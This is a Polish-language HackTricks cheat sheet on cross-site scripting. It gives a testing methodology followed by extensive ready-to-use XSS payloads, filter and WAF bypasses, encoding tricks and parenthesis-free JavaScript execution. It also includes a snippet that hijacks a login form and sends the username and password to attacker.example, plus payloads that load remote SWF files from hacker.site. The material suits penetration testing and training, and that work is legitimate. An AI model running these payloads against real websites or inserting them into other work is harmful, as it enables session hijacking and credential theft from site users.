%.*s
XSS (Cross Site Scripting)
Reading time: 54 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Methodology
- Sprawdź, czy jakakolwiek wartość, którą kontrolujesz (parameters, path, headers?, cookies?) jest odbijana w HTML lub używana przez kod JS.
- Znajdź kontekst, w którym jest odbijana/używana.
- Jeśli odbita
- Sprawdź, które symbole możesz użyć i w zależności od tego przygotuj payload:
- W raw HTML:
- Czy możesz stworzyć nowe tagi HTML?
- Czy możesz użyć eventów lub atrybutów obsługujących protokół
javascript:
? - Czy możesz obejść zabezpieczenia?
- Czy zawartość HTML jest interpretowana przez jakiś client side JS engine (AngularJS, VueJS, Mavo...), możesz wykorzystać Client Side Template Injection.
- Jeśli nie możesz tworzyć tagów HTML wykonujących JS, czy możesz wykorzystać Dangling Markup - HTML scriptless injection?
- Wewnątrz tagu HTML:
- Czy możesz wyjść do raw HTML context?
- Czy możesz stworzyć nowe eventy/atrybuty wykonujące kod JS?
- Czy atrybut, w którym jesteś uwięziony, obsługuje wykonanie JS?
- Czy możesz obejść zabezpieczenia?
- Wewnątrz kodu JavaScript:
- Czy możesz uciec z tagu
<script>
? - Czy możesz uciec ze stringa i wykonać inny kod JS?
- Czy twoje inputy są w template literals ``?
- Czy możesz obejść zabezpieczenia?
- Javascript funkcja będąca wywoływana
- Możesz wskazać nazwę funkcji do wykonania. np.:
?callback=alert(1)
- Jeśli używane:
- Możesz wykorzystać DOM XSS, zwróć uwagę jak twój input jest kontrolowany i czy twój kontrolowany input jest używany przez jakiś sink.
Pracując nad skomplikowanym XSS może być przydatne zapoznanie się z:
Reflected values
Aby skutecznie wykorzystać XSS pierwszą rzeczą, którą musisz znaleźć, jest wartość kontrolowana przez Ciebie, która jest odbijana na stronie.
- Intermediately reflected: Jeśli znajdziesz, że wartość parametru lub nawet path jest odbijana na stronie, możesz wykorzystać Reflected XSS.
- Stored and reflected: Jeśli znajdziesz, że wartość kontrolowana przez Ciebie jest zapisywana na serwerze i jest odbijana za każdym razem gdy odwiedzasz stronę, możesz wykorzystać Stored XSS.
- Accessed via JS: Jeśli znajdziesz, że wartość kontrolowana przez Ciebie jest dostępna za pomocą JS, możesz wykorzystać DOM XSS.
Contexts
Przy próbie wykorzystania XSS pierwszą rzeczą, którą musisz wiedzieć, jest gdzie twój input jest odbijany. W zależności od kontekstu będziesz mógł uruchomić dowolny kod JS na różne sposoby.
Raw HTML
Jeśli twój input jest odbijany w raw HTML strony będziesz musiał użyć jakiegoś tagu HTML, aby wykonać kod JS: <img , <iframe , <svg , <script
... to tylko niektóre z wielu możliwych tagów HTML, których możesz użyć.
Pamiętaj też o Client Side Template Injection.
Inside HTML tags attribute
Jeśli twój input jest odbijany wewnątrz wartości atrybutu taga, możesz spróbować:
- Uciec z atrybutu i z taga (wtedy znajdziesz się w raw HTML) i stworzyć nowy tag HTML do wykorzystania:
"><img [...]
- Jeśli możesz uciec z atrybutu, ale nie z taga (
>
jest kodowane lub usuwane), w zależności od taga możesz stworzyć event, który wykona kod JS:" autofocus onfocus=alert(1) x="
- Jeśli nie możesz uciec z atrybutu (
"
jest kodowane lub usuwane), to w zależności od którego atrybutu dotyczy odbicie oraz czy kontrolujesz całą wartość czy tylko jej część będziesz mógł to wykorzystać. Na przykład, jeśli kontrolujesz event jakonclick=
będziesz w stanie sprawić, że wykona on dowolny kod po kliknięciu. Innym interesującym przykładem jest atrybuthref
, gdzie możesz użyć protokołujavascript:
żeby wykonać kod:href="javascript:alert(1)"
- Jeśli twój input jest odbijany wewnątrz „unexpoitable tags” możesz spróbować sztuczki z
accesskey
aby wykorzystać podatność (będziesz potrzebował jakiegoś social engineeringu):" accesskey="x" onclick="alert(1)" x="
Dziwny przykład, gdzie Angular wykonuje XSS jeśli kontrolujesz nazwę klasy:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
W kodzie JavaScript
W tym przypadku Twoje dane wejściowe są odzwierciedlane między <script> [...] </script>
tagami strony HTML, wewnątrz pliku .js
lub wewnątrz atrybutu używającego protokołu javascript:
:
- Jeśli jest odzwierciedlany między
<script> [...] </script>
tagami, nawet jeśli Twoje dane wejściowe są wewnątrz jakichkolwiek cudzysłowów, możesz spróbować wstrzyknąć</script>
i wydostać się z tego kontekstu. Działa to, ponieważ przeglądarka najpierw sparsuje tagi HTML i dopiero potem zawartość, więc nie zauważy, że wstrzyknięty tag</script>
znajduje się wewnątrz kodu HTML. - Jeśli jest odzwierciedlany wewnątrz a JS string i poprzedni trik nie działa, musisz wyjść ze stringa, wykonać swój kod i odtworzyć kod JS (jeśli jest jakikolwiek błąd, nie zostanie on wykonany:
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- Jeśli jest odzwierciedlany wewnątrz template literals możesz osadzić wyrażenia JS używając składni
${ ... }
:var greetings = `Hello, ${alert(1)}`
- Unicode encode works to write valid javascript code:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting odnosi się do możliwości zadeklarowania funkcji, zmiennych lub klas po ich użyciu, aby nadużyć scenariuszy, w których XSS używa niezadeklarowanych zmiennych lub funkcji.
Sprawdź następującą stronę, aby uzyskać więcej informacji:
Javascript Function
Wiele stron ma endpointy, które przyjmują jako parametr nazwę funkcji do wykonania. Częstym przykładem spotykanym w praktyce jest coś w stylu: ?callback=callbackFunc
.
Dobrym sposobem, by sprawdzić czy coś podanego bezpośrednio przez użytkownika jest próbowane do wykonania, jest zmodyfikować wartość parametru (na przykład na 'Vulnerable') i sprawdzić w konsoli błędy takie jak:
Jeśli jest podatne, możesz być w stanie wywołać alert po prostu wysyłając wartość: ?callback=alert(1)
. Jednak bardzo często takie endpointy walidują zawartość, aby pozwolić tylko na litery, cyfry, kropki i podkreślenia ([\w\._]
).
Jednak nawet przy tym ograniczeniu nadal można wykonać pewne operacje. Wynika to z faktu, że można użyć tych dozwolonych znaków, aby uzyskać dostęp do dowolnego elementu w DOM:
Kilka przydatnych funkcji do tego:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Możesz również spróbować wywołać Javascript functions bezpośrednio: obj.sales.delOrders
.
Jednak zwykle endpointy wykonujące wskazaną funkcję to endpointy bez zbytnio interesującego DOM, inne strony w tym samym originie będą miały bardziej interesujący DOM do wykonania dodatkowych akcji.
W związku z tym, aby wykorzystać tę podatność w innym DOM opracowano exploitację Same Origin Method Execution (SOME):
SOME - Same Origin Method Execution
DOM
Istnieje JS code, który w niebezpieczny sposób używa danych kontrolowanych przez atakującego, takich jak location.href
. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.
Universal XSS
Tego typu XSS można znaleźć wszędzie. Nie zależą one wyłącznie od eksploatacji po stronie klienta aplikacji webowej, lecz od dowolnego kontekstu. Tego typu dowolne wykonanie JavaScript może być nawet wykorzystane do uzyskania RCE, odczytu dowolnych plików na klientach i serwerach i innych.
Niektóre przykłady:
Obraz kodowania omijającego WAF
Wstrzykiwanie do surowego HTML
Kiedy twoje dane wejściowe są odzwierciedlane wewnątrz strony HTML lub możesz uciec i wstrzykiwać kod HTML w tym kontekście, pierwszą rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz wykorzystać <
do tworzenia nowych tagów: Po prostu spróbuj odzwierciedlić ten znak i sprawdź, czy jest zakodowany jako HTML, usuwany czy odzwierciedlony bez zmian. Tylko w tym ostatnim przypadku będziesz mógł to wykorzystać.
W takich przypadkach miej też na uwadze Client Side Template Injection.
Uwaga: Komentarz HTML można zamknąć używając****-->
****lub **--!>
**
W tym przypadku i jeśli nie stosuje się black/whitelisting, możesz użyć payloadów takich jak:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Ale, jeśli tags/attributes black/whitelisting jest używany, będziesz musiał brute-force which tags możesz utworzyć.
Gdy już located which tags are allowed, będziesz musiał brute-force attributes/events wewnątrz znalezionych poprawnych tagów, aby sprawdzić, jak możesz zaatakować kontekst.
Tags/Events brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Następnie wyślij je wszystkie przy użyciu Burp intruder i sprawdź, czy któryś z tagów nie został wykryty jako złośliwy przez WAF. Gdy odkryjesz, których tagów możesz użyć, możesz brute force all the events używając poprawnych tagów (na tej samej stronie kliknij Copy events to clipboard i wykonaj tę samą procedurę co poprzednio).
Custom tags
If you didn't find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus
attribute. W żądaniu XSS musisz zakończyć URL znakiem #
, aby strona focus on that object i execute kod:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Jeśli używana jest jakaś blacklist, możesz spróbować ją bypassować kilkoma głupimi sztuczkami:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > Więcej tiny XSS dla różnych środowisk payload can be found here and here.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
The last one is using 2 unicode characters which expands to 5: telsr
Więcej takich znaków można znaleźć here.
Aby sprawdzić, na jakie znaki są rozkładane, sprawdź here.
Click XSS - Clickjacking
Jeśli, aby wykorzystać podatność, potrzebujesz, aby użytkownik kliknął link lub formularz z wstępnie wypełnionymi danymi, możesz spróbować abuse Clickjacking (jeśli strona jest podatna).
Impossible - Dangling Markup
Jeśli uważasz, że niemożliwe jest stworzenie HTML tag z atrybutem, który wykona JS code, powinieneś sprawdzić Danglig Markup ponieważ możesz exploit podatność bez wykonywania JS code.
Wstrzykiwanie wewnątrz tagu HTML
Wewnątrz tagu/ucieczka z wartości atrybutu
Jeśli jesteś inside a HTML tag, pierwszą rzeczą, którą możesz spróbować, jest escape z tagu i użyć niektórych technik wymienionych w previous section aby wykonać JS code.\
Jeśli nie możesz uciec z tagu, możesz stworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać JS code, na przykład używając payloadu takiego jak (uwaga: w tym przykładzie do ucieczki z atrybutu użyto podwójnych cudzysłowów, nie będziesz ich potrzebować jeśli twoje wejście jest odzwierciedlone bezpośrednio wewnątrz tagu):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Zdarzenia stylu
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
W atrybucie
Nawet jeśli nie możesz uciec z atrybutu ("
jest kodowany lub usuwany), w zależności od którego atrybutu wartość jest odzwierciedlana i czy kontrolujesz całą wartość, czy tylko jej część, będziesz w stanie to wykorzystać. Na przykład, jeśli kontrolujesz zdarzenie takie jak onclick=
będziesz w stanie spowodować wykonanie dowolnego kodu po kliknięciu.
Inny ciekawy przykład to atrybut href
, gdzie możesz użyć protokołu javascript:
do wykonania dowolnego kodu: href="javascript:alert(1)"
Omijanie wewnątrz zdarzenia przy użyciu kodowania HTML/URL
Zakodowane znaki HTML wewnątrz wartości atrybutów tagów HTML są dekodowane w czasie wykonywania. W związku z tym coś takiego będzie poprawne (ładunek jest pogrubiony): <a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Go Back </a>
Zauważ, że każdy rodzaj kodowania HTML jest poprawny:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Zauważ, że kodowanie URL również zadziała:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass wewnątrz eventu używając Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Specjalne protokoły w atrybucie
Tam możesz użyć protokołów javascript:
lub data:
w niektórych miejscach, aby wykonać dowolny kod JS. Niektóre będą wymagać interakcji użytkownika, inne nie.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Miejsca, w których możesz wstrzykiwać te protokoły
Ogólnie protokół javascript:
może być użyty w każdym tagu, który akceptuje atrybut href
oraz w większości tagów, które akceptują atrybut src
(ale nie <img>
)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Inne techniki zaciemniania
W tym przypadku kodowanie HTML i kodowanie Unicode z poprzedniej sekcji również jest poprawne, ponieważ znajdujesz się wewnątrz atrybutu.
<a href="javascript:var a=''-alert(1)-''">
Co więcej, istnieje jeszcze jeden fajny trik dla tych przypadków: Nawet jeśli Twój input wewnątrz javascript:...
jest URL encoded, zostanie URL decoded zanim zostanie wykonany. Zatem, jeśli musisz escape z stringu używając single quote i widzisz, że jest URL encoded, pamiętaj, że to nie ma znaczenia, zostanie interpreted jako single quote podczas execution time.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Zauważ, że jeśli spróbujesz użyć obu URLencode + HTMLencode
w dowolnej kolejności aby zakodować payload to nie zadziała, ale możesz mieszać je wewnątrz payload.
Używanie Hex i Octal encode z javascript:
Możesz użyć Hex i Octal encode wewnątrz atrybutu src
elementu iframe
(przynajmniej) aby zadeklarować tagi HTML do wykonania JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Jeśli możesz wstrzyknąć dowolny URL do dowolnego znacznika <a href=
który zawiera atrybuty target="_blank" and rel="opener"
, sprawdź następującą stronę, aby wykorzystać to zachowanie:
Omijanie 'on' event handlerów
Przede wszystkim sprawdź tę stronę (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) w poszukiwaniu przydatnych "on" event handlerów.
W przypadku, gdy jakaś czarna lista uniemożliwia ci utworzenie tych handlerów, możesz spróbować następujących obejść:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS w "Unexploitable tags" (hidden input, link, canonical, meta)
Z here teraz można nadużyć hidden inputs za pomocą:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
A w meta tagach:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Z here: Możesz uruchomić XSS payload inside a hidden attribute, pod warunkiem że potrafisz persuade the victim do naciśnięcia the key combination. W Firefoxie na Windows/Linux kombinacja klawiszy to ALT+SHIFT+X, a na OS X to CTRL+ALT+X. Możesz określić inną kombinację klawiszy, używając innego klawisza w access key attribute. Oto wektor:
<input type="hidden" accesskey="X" onclick="alert(1)">
Ten XSS payload będzie wyglądać mniej więcej tak: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Kilka sztuczek z użyciem różnych kodowań zostało już omówionych w tej sekcji. Wróć, aby dowiedzieć się, gdzie możesz je zastosować:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1)
- URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Przeczytaj the Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Przeczytaj the JavaScript bypass blacklist of the following section.
CSS-Gadgets
Jeśli znalazłeś XSS w bardzo małej części strony, która wymaga jakiejś interakcji (może mały link w stopce z elementem onmouseover), możesz spróbować zmodyfikować przestrzeń, którą zajmuje ten element, aby zmaksymalizować prawdopodobieństwo wywołania linku.
Na przykład, możesz dodać style do elementu takie jak: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Jednak jeśli WAF filtruje atrybut style, możesz użyć CSS Styling Gadgets, więc jeśli znajdziesz na przykład
.test {display:block; color: blue; width: 100%}
i
#someid {top: 0; font-family: Tahoma;}
Teraz możesz zmodyfikować nasz link i zmienić go do postaci
<a href="" id=someid class=test onclick=alert() a="">
Ten trik pochodzi z https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
W takich przypadkach twój input zostanie odzwierciedlony wewnątrz kodu JS pliku .js
lub pomiędzy tagami <script>...</script>
, albo w eventach HTML które mogą wykonać kod JS lub w atrybutach akceptujących protokół javascript:
.
Ucieczka z tagu <script>
Jeśli twój kod jest wstawiony wewnątrz <script> [...] var input = 'reflected data' [...] </script>
możesz łatwo uciec z zamknięcia <script>
tagu:
</script><img src=1 onerror=alert(document.domain)>
Zauważ, że w tym przykładzie nawet nie zamknęliśmy pojedynczego apostrofu. Dzieje się tak, ponieważ parsowanie HTML jest wykonywane najpierw przez przeglądarkę, co obejmuje identyfikację elementów strony, w tym bloków script. Parsowanie JavaScriptu w celu zrozumienia i wykonania osadzonych skryptów odbywa się dopiero później.
W kodzie JS
Jeśli <>
są sanitizowane, nadal możesz uciec z ciągu znaków w miejscu, gdzie twoje wejście jest osadzone, i wykonać dowolny kod JS. Ważne jest, aby poprawić składnię JS, ponieważ jeśli pojawią się jakiekolwiek błędy, kod JS nie zostanie wykonany:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Gdy dane wejściowe użytkownika trafiają do cytowanego JavaScript string (e.g., server-side echo into an inline script), możesz zakończyć string, wstrzyknąć kod i naprawić składnię, aby parsowanie pozostało poprawne. Ogólny szkielet:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Przykładowy wzorzec URL, gdy podatny parametr jest odzwierciedlany w łańcuchu JS:
?param=test";<INJECTION>;a="
To wykonuje attacker JS bez potrzeby modyfikowania kontekstu HTML (czysty JS-in-JS). Połącz z blacklist bypasses poniżej, gdy filtry blokują słowa kluczowe.
Template literals ``
Aby konstruować strings, oprócz pojedynczych i podwójnych cudzysłowów JS akceptuje także backticks ``
. Jest to znane jako template literals, ponieważ pozwalają na embedded JS expressions używając składni ${ ... }
.\
Jeśli więc twoje dane wejściowe są reflected wewnątrz JS stringa używającego backticks, możesz nadużyć składni ${ ... }
, aby wykonać arbitrary JS code:
This can be abused using:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Zakodowane wykonywanie kodu
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Deliverable payloads z eval(atob()) i niuanse dotyczące zakresu
Aby skrócić URL-e i ominąć naiwne filtry słów kluczowych, możesz zakodować w base64 swoją rzeczywistą logikę i wykonać ją za pomocą eval(atob('...'))
. Jeśli proste filtrowanie słów kluczowych blokuje identyfikatory takie jak alert
, eval
lub atob
, użyj identyfikatorów zapisanych z ucieczkami Unicode, które kompilują się identycznie w przeglądarce, ale omijają filtry dopasowujące łańcuchy:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Ważna uwaga dotycząca zakresu: const
/let
zadeklarowane wewnątrz eval()
mają zakres blokowy i NIE tworzą globali; nie będą dostępne dla późniejszych skryptów. Użyj dynamicznie wstrzykiwanego elementu <script>
, aby zdefiniować globalne, non-rebindable hooks, gdy jest to konieczne (e.g., to hijack a form handler):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Referencja: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode Encode JS wykonanie
alert(1)
alert(1)
alert(1)
Techniki bypass blacklists w JavaScript
Stringi
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Specjalne sekwencje ucieczki
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Zastępowanie spacji w kodzie JS
<TAB>
/**/
JavaScript comments (z JavaScript Comments sztuczki)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript new lines (z JavaScript new line triku)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
Białe znaki JavaScript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript w komentarzu
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript bez nawiasów
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
